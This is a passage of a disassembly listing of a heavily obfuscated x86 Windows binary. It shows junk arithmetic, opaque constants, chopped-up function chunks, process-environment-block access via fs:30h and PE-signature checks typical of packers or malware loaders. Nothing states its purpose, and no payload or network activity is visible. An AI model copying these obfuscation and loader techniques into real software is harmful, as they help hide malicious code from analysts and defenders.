; END OF FUNCTION CHUNK	FOR sub_424232
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_424FCC:				; CODE XREF: sub_429D2E-1001j
		jmp	loc_42FEB8
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_424FD1:				; CODE XREF: sub_426968:loc_426129j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42E3EA
; END OF FUNCTION CHUNK	FOR sub_426968
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424FDD:				; CODE XREF: wto1jq8f:00425D80j
		jmp	locret_42600C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_424FE2:				; CODE XREF: sub_429BFF+2634j
		mov	ebx, ebp


loc_424FE4:				; CODE XREF: sub_429BFF:loc_42DD22j
		mov	eax, large fs:30h
		add	eax, 0AA6D43A0h
		add	eax, 5592BC6Ch
		mov	eax, [eax]
		call	sub_427203


loc_424FFE:				; DATA XREF: sub_42E83D-222Co
		xchg	esi, [esp+4+var_4]
		lea	eax, [ebp-1C8h]
		push	eax
		push	edi
		push	99A4AE50h
		pop	edi
		push	offset sub_42F384
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB49


loc_425019:				; CODE XREF: sub_42CB49-4662j
		cdq
		jmp	loc_426CD2
; END OF FUNCTION CHUNK	FOR sub_42CB49
; ---------------------------------------------------------------------------


loc_42501F:				; DATA XREF: sub_42E555+4o
		mov	esp, ebp
		xchg	eax, [esp]
		mov	ebp, eax
		pop	eax
		call	sub_428E81
; START	OF FUNCTION CHUNK FOR sub_42C990


loc_42502C:				; CODE XREF: sub_42C990:loc_4295F9j
		add	eax, 0F24B452Ah
		push	eax
		push	4C91A0h
		push	offset loc_429CA8
		jmp	loc_42A960
; END OF FUNCTION CHUNK	FOR sub_42C990
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_425043:				; CODE XREF: sub_426535+1A0Aj
		jp	loc_4263A7
		jmp	loc_424934
; ---------------------------------------------------------------------------


loc_42504E:				; CODE XREF: sub_426535:loc_42B4E8j
		cmp	dword ptr [ebp-4], 5
		jnz	loc_424934
		lea	eax, [ebp-2AAh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_4265DB
		jmp	loc_429603
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================



sub_42506F	proc near		; DATA XREF: sub_42DB52:loc_426492o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0042420B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004246C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425CFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426870 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426A4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426C94 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004271AA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00427911 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427ACA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042896C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042920C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429AB6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00429FCB SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0042A2EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A843 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B424 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B6F9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B7AD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BD14 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BFA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042C356 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042C579 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C906 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D5A3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D7E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042DFE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E1F6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042E2BD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042E3C9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042EB2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F30E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FCAC SIZE 00000015 BYTES

		xor	eax, eax
		mov	[ebp-8], eax


loc_425074:				; CODE XREF: sub_42506F:loc_42C579j
					; sub_42D9FC+4j
		jo	loc_42D5A3
		push	8697BA5Ah
		pop	eax
		jmp	loc_429AB6
sub_42506F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_425085:				; CODE XREF: wto1jq8f:00428DFFj
		rol	edx, 4
		add	edx, 0A6868104h
		push	offset sub_42FC90
		jmp	locret_42BA00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_425098:				; CODE XREF: sub_42A909:loc_4285D5j
		jnz	loc_42E823
		jmp	loc_42C58A
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4250A3:				; CODE XREF: sub_42C486-7EBDj
		pop	esi
		xchg	edi, [ebp+0]
		jmp	loc_42E6AA
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429E77


loc_4250AC:				; CODE XREF: sub_429E77+C3Cj
		cmp	eax, [ebp-0Ch]
		ja	loc_426EEE


loc_4250B5:				; CODE XREF: sub_429E77:loc_42AAA4j
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jz	loc_4250CA
		mov	eax, [ebp-0Ch]
		call	sub_42D765
; END OF FUNCTION CHUNK	FOR sub_429E77
; START	OF FUNCTION CHUNK FOR sub_42658A


loc_4250CA:				; CODE XREF: sub_429165-478Bj
					; sub_429165-425Dj ...
		push	offset loc_42D50E
		jmp	loc_425A36
; END OF FUNCTION CHUNK	FOR sub_42658A

; =============== S U B	R O U T	I N E =======================================



sub_4250D4	proc near		; DATA XREF: sub_4296B3+14o

; FUNCTION CHUNK AT 0042AAD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BE90 SIZE 0000000E BYTES

		mov	eax, [ebp-20h]
		call	sub_42FFDE
		pop	ecx
		mov	[ebp-20h], eax


loc_4250E0:				; CODE XREF: sub_42F50F-7B7Dj
					; sub_4296B3:loc_4296C0j ...
		jnz	loc_42BE90
		test	byte ptr [ebp-7], 8
		jz	loc_42F4DE
		push	offset sub_42BE7E
		jmp	loc_42AAD4
sub_4250D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	eax, 2FF2FA83h
		jmp	sub_42DA42
; ---------------------------------------------------------------------------
		db 0C9h, 13h, 9Ch
dword_425108	dd 4 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
					; DATA XREF: sub_4244EA+4r
					; wto1jq8f:00426887r ...
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2), 9466E9h, 62278A00h
dword_425510	dd 2				dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1, 8319E9h, 384BE900h, 5C10000h
dword_42591C	dd 0							; sub_42F50F+Ew
byte_425920	db 0			; DATA XREF: sub_42A8ED:loc_42442Bw
					; sub_42A8ED+10r ...
		db 0A6h, 85h, 0C1h
dword_425924	dd 0B132749Bh, 8D192ED8h					; sub_42A8ED+2A92o
		db 36h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FE4C


loc_42592E:				; CODE XREF: sub_42FE4C+Aj
		jmp	loc_426DD1
; END OF FUNCTION CHUNK	FOR sub_42FE4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426806


loc_425933:				; CODE XREF: sub_426806+Dj
		jmp	loc_424EBE
; END OF FUNCTION CHUNK	FOR sub_426806
; ---------------------------------------------------------------------------
		adc	ebp, 0D56782D0h
		push	ebx
		jmp	sub_42618A

; =============== S U B	R O U T	I N E =======================================



sub_425944	proc near		; CODE XREF: wto1jq8f:004240B4j
					; sub_424232:loc_424FC7p

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 004245A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042617A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426ABA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427046 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427AF9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00428FBC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429A1D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CBBC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E53C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E563 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E882 SIZE 00000005 BYTES

		xchg	ebx, [esp-0Ch+arg_8]
		pop	ebx
		jnz	loc_427AF9
		mov	eax, [ebp-4]
		call	sub_429A28
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_42E882
sub_425944	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425962	proc near		; DATA XREF: sub_427143:loc_42AC78o
		pop	ebp
		retn
sub_425962	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_425964:				; CODE XREF: wto1jq8f:0042759Dj
		jmp	sub_42CB36
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DECB


loc_42596A:				; CODE XREF: sub_42DECB+Cj
		jmp	loc_42D900
; END OF FUNCTION CHUNK	FOR sub_42DECB

; =============== S U B	R O U T	I N E =======================================



sub_42596F	proc near		; CODE XREF: sub_42A197-56D9p
					; sub_4282FE:loc_426B5Dp ...

; FUNCTION CHUNK AT 0042846C SIZE 00000006 BYTES

		js	sub_426950
		push	ebp
		call	sub_42E0FD


loc_42597B:				; CODE XREF: sub_426950-565j
		jmp	loc_42846C
sub_42596F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED21


loc_425981:				; CODE XREF: sub_42ED21+1j
		jmp	loc_427057
; END OF FUNCTION CHUNK	FOR sub_42ED21
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: wto1jq8f:0042BDC7j
		cmp	esi, ebp
		jmp	loc_42DE81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42408D


loc_42598D:				; CODE XREF: sub_42408D:loc_428EEFj
		mov	esp, ebp
		pop	ebp
		push	offset loc_42D496
		jmp	nullsub_53
; END OF FUNCTION CHUNK	FOR sub_42408D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42599B:				; CODE XREF: wto1jq8f:0042FF56j
		jmp	locret_429CF6
; ---------------------------------------------------------------------------


loc_4259A0:				; DATA XREF: sub_429B39+9o
		add	eax, 0C292DB07h
		xchg	eax, [esp]
		jmp	loc_42995F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_4259AE:				; CODE XREF: sub_4266B1:loc_42B1FAj
		jz	loc_425C9C
		jmp	loc_42C470
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D82


loc_4259B9:				; CODE XREF: sub_427D82+4j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42E538
		or	eax, eax
		jnz	loc_427A18
		jmp	loc_42EC34
; END OF FUNCTION CHUNK	FOR sub_427D82
; ---------------------------------------------------------------------------
		xor	esi, 0D0B9DDBAh
		shl	eax, 4
		jmp	sub_42D22D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428C0C


loc_4259DD:				; CODE XREF: sub_428C0C:loc_424EE2j
		mov	eax, [ebp-8]
		shl	eax, 0Fh
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		jmp	nullsub_27
; END OF FUNCTION CHUNK	FOR sub_428C0C
; ---------------------------------------------------------------------------
		shl	ecx, 12h
		jmp	sub_427674
; ---------------------------------------------------------------------------


loc_4259F9:				; CODE XREF: wto1jq8f:00426E3Ej
		and	ebx, 3DAE95FBh

; =============== S U B	R O U T	I N E =======================================



sub_4259FF	proc near		; CODE XREF: wto1jq8f:0042C481p

arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0042435E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426B93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A545 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		sbb	eax, edx
		pop	edx
		pop	ecx
		pop	eax
		pop	ebx
		jmp	loc_42A545
sub_4259FF	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424406


loc_425A0F:				; CODE XREF: sub_424406+4DF5j
		jmp	loc_42EE38
; END OF FUNCTION CHUNK	FOR sub_424406
; ---------------------------------------------------------------------------
		or	edi, edx
		jmp	sub_427203
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_425A1B:				; CODE XREF: sub_4272F3-964j
		and	ecx, 2E0905F5h
		xor	ecx, 2E0005D1h
		call	sub_428333
; END OF FUNCTION CHUNK	FOR sub_4272F3
; START	OF FUNCTION CHUNK FOR sub_42C547


loc_425A2C:				; CODE XREF: sub_42C547+CE1j
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_42C547
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424585


loc_425A31:				; CODE XREF: sub_424585+1D6Bj
		jmp	nullsub_28
; END OF FUNCTION CHUNK	FOR sub_424585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42658A


loc_425A36:				; CODE XREF: sub_42658A-14BBj
		jmp	nullsub_37
; END OF FUNCTION CHUNK	FOR sub_42658A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D47


loc_425A3B:				; CODE XREF: sub_428D47-4025j
		jmp	loc_427728
; END OF FUNCTION CHUNK	FOR sub_428D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42606D


loc_425A40:				; CODE XREF: sub_42606D+14j
		xor	eax, 469E7F15h
		add	eax, ebp
		add	eax, 5287ED67h
		mov	eax, [eax]
		cmp	dword ptr [eax], 4550h
		jnz	loc_42F5A8
		jmp	loc_4243F6
; END OF FUNCTION CHUNK	FOR sub_42606D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB49


loc_425A62:				; CODE XREF: sub_42CB49+15j
		jmp	loc_42A78A
; END OF FUNCTION CHUNK	FOR sub_42CB49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F9CA


loc_425A67:				; CODE XREF: sub_42F9CA-B809j
		jmp	loc_42E5CD
; END OF FUNCTION CHUNK	FOR sub_42F9CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A467


loc_425A6C:				; CODE XREF: sub_42A467-3137j
		jz	loc_4247A2
		jmp	loc_426E30
; END OF FUNCTION CHUNK	FOR sub_42A467
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4267AE


loc_425A78:				; CODE XREF: sub_4267AE+11j
		jmp	loc_426C6B
; END OF FUNCTION CHUNK	FOR sub_4267AE
; ---------------------------------------------------------------------------

locret_425A7D:				; CODE XREF: wto1jq8f:00427E4Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_425A7E:				; CODE XREF: sub_4240DC+3089j
		jmp	loc_42F728
; END OF FUNCTION CHUNK	FOR sub_4240DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A14D


loc_425A83:				; CODE XREF: sub_42A14D+882j
		mov	ebx, edi
		xor	edx, edi
		jmp	loc_425ED2
; END OF FUNCTION CHUNK	FOR sub_42A14D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_425A8C:				; CODE XREF: sub_426535:loc_4265DBj
		push	esi
		push	0FB86F344h
		pop	esi
		xor	esi, 0FB86F344h
		jmp	loc_424051
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================



sub_425A9E	proc near		; DATA XREF: wto1jq8f:0042FF51o

; FUNCTION CHUNK AT 00425EBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427CD3 SIZE 00000005 BYTES

		mov	eax, [ebp-8]
		push	eax
		mov	eax, [ebp-30h]
		jmp	loc_427CD3
sub_425A9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425AAA	proc near		; CODE XREF: sub_4266EFj
		push	ebp
		mov	ebp, esp
		jmp	sub_4285AF
sub_425AAA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_425AB2:				; CODE XREF: sub_42A6CD+222Aj
		pop	edx
		add	edx, 0BFF24F50h


loc_425AB9:				; CODE XREF: wto1jq8f:loc_42B2A2j
		rol	edx, 17h
		add	edx, 4D3C0B30h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_42CCE8
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_425ACB	proc near		; CODE XREF: wto1jq8f:loc_42665Ej
					; sub_42F59F+4p

var_4		= dword	ptr -4

		push	ecx
		mov	[esp+4+var_4], eax
		push	edx
sub_425ACB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_425AD0:				; CODE XREF: sub_42A6CD:loc_42BCDBj
		push	2B1C946Ch
		pop	edx
		jmp	loc_42D595
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
		sbb	ecx, 3E57B4A0h
		jmp	loc_42FFB5
; ---------------------------------------------------------------------------


loc_425AE6:				; CODE XREF: wto1jq8f:loc_42F4AAj
		xchg	esi, [edx]
		sbb	ebx, 870B4F13h
		shl	eax, 14h
		shr	ebp, 14h
		jmp	loc_42863C
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: wto1jq8f:0042D1E1j
		ja	loc_424F5F
		jmp	loc_42A8C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D8D


loc_425B04:				; CODE XREF: sub_427D8D:loc_42F1D8j
		xor	ebx, 1FB2E210h
		add	ebx, 7CA0ED67h
		push	offset loc_42EDEE
		jmp	loc_429566
; END OF FUNCTION CHUNK	FOR sub_427D8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FFDE


loc_425B1A:				; CODE XREF: sub_42FFDE+15j
		call	sub_4282C1


loc_425B1F:				; CODE XREF: wto1jq8f:00426363j
		jmp	nullsub_196
; END OF FUNCTION CHUNK	FOR sub_42FFDE
; ---------------------------------------------------------------------------
		mov	[edx], ecx
		cmp	ecx, 331B89Fh
		jmp	loc_4299E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_425B31:				; CODE XREF: sub_42F2C7-7D94j
		jo	locret_42A728
		xor	eax, edi
		add	eax, ebp
		cdq
		push	0D6420EAAh
		jmp	loc_425E1B
; END OF FUNCTION CHUNK	FOR sub_42F2C7

; =============== S U B	R O U T	I N E =======================================



sub_425B46	proc near		; CODE XREF: wto1jq8f:00426323p
					; wto1jq8f:0042A968j

; FUNCTION CHUNK AT 0042E57F SIZE 0000000A BYTES

		mov	[esp+0], ebx
		pop	ebx
		call	sub_429165
		push	eax
		jmp	loc_42E57F
sub_425B46	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_425B55:				; CODE XREF: wto1jq8f:0042BAB1j
		test	ebx, eax
		jmp	loc_427271
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A7E2


loc_425B5D:				; CODE XREF: sub_42A7E2+8j
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_42A7E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3EB


loc_425B62:				; CODE XREF: sub_42A3EB:loc_42E039j
		pop	ecx
		push	0C04AF4C7h
		mov	[esp+0], ebp
		lea	eax, [ebp-4]
		jmp	loc_428D05
; END OF FUNCTION CHUNK	FOR sub_42A3EB
; ---------------------------------------------------------------------------


loc_425B73:				; CODE XREF: wto1jq8f:loc_4271D2j
		jnz	loc_42CD03
		jmp	loc_42F55E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F81B


loc_425B7E:				; CODE XREF: sub_42F81B:loc_42E2F0j
		rol	eax, 19h
		mov	ds:dword_42E534, eax
		jmp	nullsub_176
; END OF FUNCTION CHUNK	FOR sub_42F81B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B8C	proc near		; CODE XREF: sub_4245B5j

; FUNCTION CHUNK AT 0042D9C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EBC0 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_42EBC0
sub_425B8C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D882


loc_425B97:				; CODE XREF: sub_42D882:loc_42E641j
		xor	edx, 1D3A558Eh
		push	edx


loc_425B9E:				; CODE XREF: wto1jq8f:loc_42E4D5j
		pushf


loc_425B9F:				; CODE XREF: sub_4244EA:loc_42DB8Cj
		push	0E2CCF7EEh
		pop	edx
		add	edx, 1D75FFD1h
		popf
		xchg	edx, [esp+4+var_4]
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_42D882

; =============== S U B	R O U T	I N E =======================================



sub_425BB4	proc near		; CODE XREF: sub_428295:loc_42E989j

var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 00426D8F SIZE 00000005 BYTES

		add	esp, 0FFFFFFF0h
		push	ecx
		push	0D5D140A8h
		pop	ecx
		xor	ecx, 0F3B1FE41h


loc_425BC4:				; CODE XREF: sub_42E9E8:loc_42B0DDj
		add	ecx, 0D9E184D2h
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_426D8F
sub_425BB4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_425BD2:				; CODE XREF: sub_42C486+15AAj
		jp	loc_42D42C
		push	70F2BF4Ch


loc_425BDD:				; CODE XREF: sub_42C486:loc_42CBABj
		mov	eax, [ebp-0Ch]
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-5], al
; END OF FUNCTION CHUNK	FOR sub_42C486
; START	OF FUNCTION CHUNK FOR sub_42D789


loc_425BE9:				; CODE XREF: sub_427143:loc_4261EEj
					; sub_42C486:loc_4276B5j ...
		push	offset loc_42B584
		jmp	loc_42D760
; END OF FUNCTION CHUNK	FOR sub_42D789
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_425BF3:				; CODE XREF: sub_424F7A+8483j
		call	sub_42E8D0


loc_425BF8:				; CODE XREF: sub_427488+Cj
		jmp	loc_42837A
; END OF FUNCTION CHUNK	FOR sub_424F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424DA0


loc_425BFD:				; CODE XREF: sub_424DA0+12j
		jmp	loc_42F1AD
; END OF FUNCTION CHUNK	FOR sub_424DA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_425C02:				; CODE XREF: sub_42F6A9:loc_42E9CFj
		jnz	loc_42A117
		jmp	loc_42DE11
; END OF FUNCTION CHUNK	FOR sub_42F6A9

; =============== S U B	R O U T	I N E =======================================



sub_425C0D	proc near		; DATA XREF: sub_426350+9A32o
		test	eax, eax
		jl	loc_4278D6
		inc	eax
		mov	[ebp-1Ch], eax
		push	offset sub_4290CF
		jmp	loc_42735C
sub_425C0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AE5


loc_425C23:				; CODE XREF: sub_428AE5:loc_4271DCj
		add	edx, 0B79F8594h
		call	sub_429165
		push	edi
		push	5B4259E3h
		pop	edi
		sub	edi, 0A80C762Ah
		jmp	loc_424929
; END OF FUNCTION CHUNK	FOR sub_428AE5

; =============== S U B	R O U T	I N E =======================================



sub_425C40	proc near		; CODE XREF: sub_426437p
					; wto1jq8f:00428171j

; FUNCTION CHUNK AT 00427176 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A712 SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_42A712
sub_425C40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_425C4D:				; CODE XREF: sub_42E9E8:loc_426931j
		call	sub_4245B5
		test	eax, eax
		jz	loc_425F96
		jmp	loc_42B752
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_425C5F	proc near		; CODE XREF: sub_429308:loc_4241A3p
					; wto1jq8f:loc_42BD8Ej
		xchg	ecx, [esp+0]
		pop	ecx
		xor	ebx, 7A432D44h
		call	sub_42B5C9


loc_425C6E:				; CODE XREF: sub_429459:loc_42C18Dj
		add	edx, eax
		pop	eax
		mov	[edx], eax
		push	offset loc_425D35
		jmp	nullsub_17
sub_425C5F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_425C7D:				; CODE XREF: sub_429B76:loc_42A022j
		test	al, al
		jz	loc_42F168
		jmp	loc_42ED3C
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_425C8A:				; CODE XREF: sub_42A909+8j
					; wto1jq8f:loc_42E331j
		jnz	loc_42A93A
		jmp	loc_42D23E
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		xchg	ebx, [ecx]
		jmp	loc_42A48B
; ---------------------------------------------------------------------------
